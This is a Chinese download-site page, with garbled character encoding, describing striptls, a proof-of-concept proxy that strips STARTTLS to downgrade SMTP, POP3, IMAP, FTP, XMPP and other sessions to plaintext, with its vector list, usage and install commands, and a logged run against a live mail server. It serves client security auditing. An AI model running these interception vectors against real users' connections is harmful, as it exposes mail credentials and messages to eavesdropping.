資料介紹
軟件簡介
STARTTLS?是對純文本通信協(xié)議的擴展。它提供一種方式將純文本連接升級為加密連接(TLS或SSL),而不是另外使用一個端口作加密通信。
striptls是一款端口剝離攻擊的POC實現(xiàn)
SMTP
SMTP.StripFromCapabilities?-?server?response?capability?patchSMTP.StripWithInvalidResponseCode?-?client?STARTTLS?stripping,?invalid?response?codeSMTP.UntrustedIntercept?-?STARTTLS?interception?(client?and?server?talking?ssl)?(requires?server.pem?in?pwd)SMTP.StripWithTemporaryErrorSMTP.StripWithErrorSMTP.ProtocolDowngradeStripExtendedModeSMTP.InjectCommand
POP3
POP3.StripFromCapabilitiesPOP3.StripWithErrorPOP3.UntrustedIntercept
IMAP
IMAP.StripFromCapabilitiesIMAP.StripWithErrorIMAP.UntrustedInterceptIMAP.ProtocolDowngradeToV2
FTP
FTP.StripFromCapabilitiesFTP.StripWithErrorFTP.UntrustedIntercept
NNTP
NNTP.StripFromCapabilitiesNNTP.StripWithErrorNNTP.UntrustedIntercept
XMPP
XMPP.StripFromCapabilities XMPP.StripInboundTLS XMPP.UntrustedIntercept ACAP?(untested) ACAP.StripFromCapabilities ACAP.StripWithError ACAP.UntrustedIntercept
IRC
IRC.StripFromCapabilitiesIRC.StripWithErrorIRC.UntrustedInterceptIRC.StripWithNotRegisteredIRC.StripCAPWithNotregisteredIRC.StripWithSilentDrop
結(jié)果:
-?[*]?client:?127.0.0.1-?????[Vulnerable!]?-?????[Vulnerable!]? -?????[???????????]? -?????[Vulnerable!]? -?[*]?client:?192.168.139.1-?????[Vulnerable!]? -?????[Vulnerable!]? -?????[Vulnerable!]?
實例:
#>?python?-m?striptls?--help????#?from?pip/setup.py#>?python?striptls?--help???????#?from?source?/?root?folderUsage:?striptls?[options]???????example:?striptls?--listen?0.0.0.0:25?--remote?mail.server.tld:25Options: ??????-h,?--help????????????show?this?help?message?and?exit??-v,?--verbose?????????make?lots?of?noise?[default] ??????-l?LISTEN,?--listen=LISTENlisten?ip:port?[default:?0.0.0.0:] ??????-r?REMOTE,?--remote=REMOTE ????????????????????????????remote?target?ip:port?to?forward?sessions?to ??????-k?KEY,?--key=KEY?????SSL?Certificate?and?Private?key?file?to?use,?PEMformat?assumed?[default:?server.pem] ??????-x?VECTORS,?--vectors=VECTORS????????????????????????????Comma?separated?list?of?vectors.?Use?'ALL'?(default)????????????????????????????to?select?all?vectors.?Available?vectors: ????????????????????????????FTP.StripFromCapabilities,?FTP.StripWithError, ????????????????????????????FTP.UntrustedIntercept,?IMAP.StripFromCapabilities, ????????????????????????????IMAP.StripWithError,?IMAP.UntrustedIntercept, ????????????????????????????NNTP.StripFromCapabilities,?NNTP.StripWithError, ????????????????????????????NNTP.UntrustedIntercept,?POP3.StripFromCapabilities, ????????????????????????????POP3.StripWithError,?POP3.UntrustedIntercept, ????????????????????????????SMTP.ProtocolDowngradeStripExtendedMode, ????????????????????????????SMTP.StripFromCapabilities,?SMTP.StripWithError, ????????????????????????????SMTP.StripWithInvalidResponseCode, ????????????????????????????SMTP.StripWithTemporaryError,?SMTP.UntrustedIntercept, ????????????????????????????XMPP.StripFromCapabilities,?XMPP.StripInboundTLS, ????????????????????????????XMPP.UntrustedIntercept?[default:?ALL]
安裝:
1.從pip安裝
#>?pip?install?striptls
2.從源安裝
#>?setup.py?install
示例:
??????????????????inbound????????????????????outbound [inbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target] ??smtp-client???????????????????striptls????????????????????remote/target
本地?smtp-client
?->?localhost:8825
?(代理) ->?mail.gmx.net:25
審計模式:
在特定的情況下遍歷所有協(xié)議并且跟蹤違反starttls協(xié)議的客戶端。你可以選擇按Ctrl + C來中止審核并打印結(jié)果。
#> python striptls --listen localhost:8825 --remote=mail.gmx.net:25
2016-02-02 22:11:56,275 - INFO ? ? - ready.
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:21 ? , proto: ? ? FTP):
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:21 ? , proto: ? ? FTP):
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:21 ? , proto: ? ? FTP):
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:143 ?, proto: ? ?IMAP):
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:143 ?, proto: ? ?IMAP):
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:143 ?, proto: ? ?IMAP):
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:119 ?, proto: ? ?NNTP):
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:119 ?, proto: ? ?NNTP):
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:119 ?, proto: ? ?NNTP):
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:110 ?, proto: ? ?POP3):
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:110 ?, proto: ? ?POP3):
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:25 ? , proto: ? ?SMTP):
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:25 ? , proto: ? ?SMTP):
2016-02-02 22:11:56,276 - DEBUG ? ?- * added test (port:25 ? , proto: ? ?SMTP):
2016-02-02 22:11:56,276 - DEBUG ? ?- * added test (port:25 ? , proto: ? ?SMTP):
2016-02-02 22:11:56,276 - DEBUG ? ?- * added test (port:25 ? , proto: ? ?SMTP):
2016-02-02 22:11:56,276 - DEBUG ? ?- * added test (port:5222 , proto: ? ?XMPP):
2016-02-02 22:11:56,276 - INFO ? ? - ]), 110: set([, ]), 143: set([, , ]), 21: set([, , ]), 119: set([, , ]), 25: set([, , , , ])}>
2016-02-02 22:12:08,477 - DEBUG ? ?- - protocol detected (target port)
2016-02-02 22:12:08,530 - INFO ? ? - client ('127.0.0.1', 28902) has connected
2016-02-02 22:12:08,530 - INFO ? ? - connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:08,805 - DEBUG ? ?- [client] <= [server] ? ? ? ? ?'220 gmx.com (mrgmx001) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:08,805 - DEBUG ? ?-
2016-02-02 22:12:09,759 - DEBUG ? ?- [client] => [server] ? ? ? ? ?'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:09,850 - DEBUG ? ?- [client] <= [server] ? ? ? ? ?'250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:09,851 - DEBUG ? ?- [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
2016-02-02 22:12:09,867 - DEBUG ? ?- [client] => [server] ? ? ? ? ?'STARTTLS\r\n'
2016-02-02 22:12:09,867 - DEBUG ? ?- [client] <= [server][mangled] '200 STRIPTLS\r\n'
2016-02-02 22:12:09,867 - DEBUG ? ?- [client] => [server][mangled] None
2016-02-02 22:12:09,883 - DEBUG ? ?- [client] => [server] ? ? ? ? ?'mail FROM: size=10\r\n'
2016-02-02 22:12:09,983 - DEBUG ? ?- [client] <= [server] ? ? ? ? ?'530 Authentication required\r\n'
2016-02-02 22:12:09,992 - DEBUG ? ?- [client] => [server] ? ? ? ? ?'rset\r\n'
2016-02-02 22:12:10,100 - DEBUG ? ?- [client] <= [server] ? ? ? ? ?'250 OK\r\n'
2016-02-02 22:12:10,116 - WARNING ?- terminated.
2016-02-02 22:12:13,056 - DEBUG ? ?- - protocol detected (target port)
2016-02-02 22:12:13,056 - INFO ? ? - client ('127.0.0.1', 28905) has connected
2016-02-02 22:12:13,057 - INFO ? ? - connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:13,241 - DEBUG ? ?- [client] <= [server] ? ? ? ? ?'220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:13,241 - DEBUG ? ?-
2016-02-02 22:12:14,197 - DEBUG ? ?- [client] => [server] ? ? ? ? ?'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:14,289 - DEBUG ? ?- [client] <= [server] ? ? ? ? ?'250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:14,304 - DEBUG ? ?- [client] => [server] ? ? ? ? ?'STARTTLS\r\n'
2016-02-02 22:12:14,305 - DEBUG ? ?- [client] <= [server][mangled] '454 TLS not available due to temporary reason\r\n'
2016-02-02 22:12:14,305 - DEBUG ? ?- [client] => [server][mangled] None
2016-02-02 22:12:14,320 - DEBUG ? ?- [client] => [server] ? ? ? ? ?'mail FROM: size=10\r\n'
2016-02-02 22:12:14,411 - DEBUG ? ?- [client] <= [server] ? ? ? ? ?'530 Authentication required\r\n'
2016-02-02 22:12:14,415 - DEBUG ? ?- [client] => [server] ? ? ? ? ?'rset\r\n'
2016-02-02 22:12:14,520 - DEBUG ? ?- [client] <= [server] ? ? ? ? ?'250 OK\r\n'
2016-02-02 22:12:14,535 - WARNING ?- terminated.
2016-02-02 22:12:16,649 - DEBUG ? ?- - protocol detected (target port)
2016-02-02 22:12:16,650 - INFO ? ? - client ('127.0.0.1', 28908) has connected
2016-02-02 22:12:16,650 - INFO ? ? - connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:16,820 - DEBUG ? ?- [client] <= [server] ? ? ? ? ?'220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:16,820 - DEBUG ? ?-
2016-02-02 22:12:17,760 - DEBUG ? ?- [client] => [server] ? ? ? ? ?'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:17,849 - DEBUG ? ?- [client] <= [server] ? ? ? ? ?'250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:17,849 - DEBUG ? ?- [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
2016-02-02 22:12:17,871 - WARNING ?- terminated.
2016-02-02 22:12:20,071 - DEBUG ? ?- - protocol detected (target port)
2016-02-02 22:12:20,072 - INFO ? ? - client ('127.0.0.1', 28911) has connected
2016-02-02 22:12:20,072 - INFO ? ? - connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:20,239 - DEBUG ? ?- [client] <= [server] ? ? ? ? ?'220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:20,240 - DEBUG ? ?-
2016-02-02 22:12:21,181 - DEBUG ? ?- [client] => [server] ? ? ? ? ?'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:21,269 - DEBUG ? ?- [client] <= [server] ? ? ? ? ?'250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:21,280 - DEBUG ? ?- [client] => [server] ? ? ? ? ?'STARTTLS\r\n'
2016-02-02 22:12:21,281 - DEBUG ? ?- [client] <= [server][mangled] '501 Syntax error\r\n'
2016-02-02 22:12:21,281 - DEBUG ? ?- [client] => [server][mangled] None
2016-02-02 22:12:21,289 - DEBUG ? ?- [client] => [server] ? ? ? ? ?'mail FROM: size=10\r\n'
2016-02-02 22:12:21,381 - DEBUG ? ?- [client] <= [server] ? ? ? ? ?'530 Authentication required\r\n'
2016-02-02 22:12:21,386 - DEBUG ? ?- [client] => [server] ? ? ? ? ?'rset\r\n'
2016-02-02 22:12:21,469 - DEBUG ? ?- [client] <= [server] ? ? ? ? ?'250 OK\r\n'
2016-02-02 22:12:21,485 - WARNING ?- terminated.
2016-02-02 22:12:23,665 - WARNING ?- Ctrl C - Stopping server
2016-02-02 22:12:23,665 - INFO ? ? - ?-- audit results --
2016-02-02 22:12:23,666 - INFO ? ? - [*] client: 127.0.0.1
2016-02-02 22:12:23,666 - INFO ? ? - ? ? [Vulnerable!]
2016-02-02 22:12:23,666 - INFO ? ? - ? ? [Vulnerable!]
2016-02-02 22:12:23,666 - INFO ? ? - ? ? [ ? ? ? ? ? ]
2016-02-02 22:12:23,666 - INFO ? ? - ? ? [Vulnerable!]
除了審計模式外還有從服務端剝離starttls、無效化starttls響應、不可行的ssl鏈接(對于客戶端則是不在檢驗服務端的證書是否可信)以及XMPP的追蹤審計的功能。
- 基于代理的航天器自主健康故障仿真驗證系統(tǒng) 11次下載
- 基于群簽名算法的云共享數(shù)據(jù)完整性審計 7次下載
- 云數(shù)據(jù)的存儲安全審計機制綜述 6次下載
- 可減少存儲負荷和成本的無證書公開審計方案 5次下載
- 說一說藍牙m(xù)esh代理服務資料下載
- 一種多用戶多副本云端數(shù)據(jù)公開審計方案 10次下載
- 面向公有云的數(shù)據(jù)完整性公開審計方案 3次下載
- 云存儲中數(shù)據(jù)完整性的聚合盲審計方法 0次下載
- 基于關(guān)聯(lián)規(guī)則挖掘的安全審計系統(tǒng) 0次下載
- 具有隱私保護的云存儲數(shù)據(jù)公共審計方案 0次下載
- 基于Apache的財務輔助審計軟件開發(fā) 0次下載
- 代碼審計基礎 2次下載
- vpn代理服務器_VPN代理軟件下載 111次下載
- 一新型網(wǎng)絡內(nèi)容審計和監(jiān)控系統(tǒng)模型設計
- 代理簽名者身份保護的代理簽名體制
- 代理式AI如何運作 340次閱讀
- 如何使用nginx反向代理功能?保姆級教程! 700次閱讀
- 設計模式中代理模式的使用場景 1077次閱讀
- JDK動態(tài)代理的原理 600次閱讀
- javaassit如何實現(xiàn)代對目標類的代理 979次閱讀
- 堡壘機是什么? 堡壘機(運維審計系統(tǒng))的基本原理 1.2w次閱讀
- LightProxy全能代理抓包工具 1900次閱讀
- Golang實現(xiàn)一個簡單的http代理 1473次閱讀
- 安卓端免代理抓包 4639次閱讀
- 利用網(wǎng)絡代理擴展1-Wire范圍 755次閱讀
- Mybatis的SQL注入審計的基本方法 1330次閱讀
- GoF設計模式之代理模式 957次閱讀
- http代理概述及代碼實現(xiàn)方法 4191次閱讀
- 如何讓爬蟲更簡單的使用這些代理? 4713次閱讀
- 適配器模式和代理模式的區(qū)別 5282次閱讀
下載排行
本周
- 1山景DSP芯片AP8248A2數(shù)據(jù)手冊
- 1.06 MB | 532次下載 | 免費
- 2RK3399完整板原理圖(支持平板,盒子VR)
- 3.28 MB | 339次下載 | 免費
- 3TC358743XBG評估板參考手冊
- 1.36 MB | 330次下載 | 免費
- 4DFM軟件使用教程
- 0.84 MB | 295次下載 | 免費
- 5元宇宙深度解析—未來的未來-風口還是泡沫
- 6.40 MB | 227次下載 | 免費
- 6迪文DGUS開發(fā)指南
- 31.67 MB | 194次下載 | 免費
- 7元宇宙底層硬件系列報告
- 13.42 MB | 182次下載 | 免費
- 8FP5207XR-G1中文應用手冊
- 1.09 MB | 178次下載 | 免費
本月
- 1OrCAD10.5下載OrCAD10.5中文版軟件
- 0.00 MB | 234315次下載 | 免費
- 2555集成電路應用800例(新編版)
- 0.00 MB | 33566次下載 | 免費
- 3接口電路圖大全
- 未知 | 30323次下載 | 免費
- 4開關(guān)電源設計實例指南
- 未知 | 21549次下載 | 免費
- 5電氣工程師手冊免費下載(新編第二版pdf電子書)
- 0.00 MB | 15349次下載 | 免費
- 6數(shù)字電路基礎pdf(下載)
- 未知 | 13750次下載 | 免費
- 7電子制作實例集錦 下載
- 未知 | 8113次下載 | 免費
- 8《LED驅(qū)動電路設計》 溫德爾著
- 0.00 MB | 6656次下載 | 免費
總榜
- 1matlab軟件下載入口
- 未知 | 935054次下載 | 免費
- 2protel99se軟件下載(可英文版轉(zhuǎn)中文版)
- 78.1 MB | 537798次下載 | 免費
- 3MATLAB 7.1 下載 (含軟件介紹)
- 未知 | 420027次下載 | 免費
- 4OrCAD10.5下載OrCAD10.5中文版軟件
- 0.00 MB | 234315次下載 | 免費
- 5Altium DXP2002下載入口
- 未知 | 233046次下載 | 免費
- 6電路仿真軟件multisim 10.0免費下載
- 340992 | 191187次下載 | 免費
- 7十天學會AVR單片機與C語言視頻教程 下載
- 158M | 183279次下載 | 免費
- 8proe5.0野火版下載(中文版免費下載)
- 未知 | 138040次下載 | 免費
評論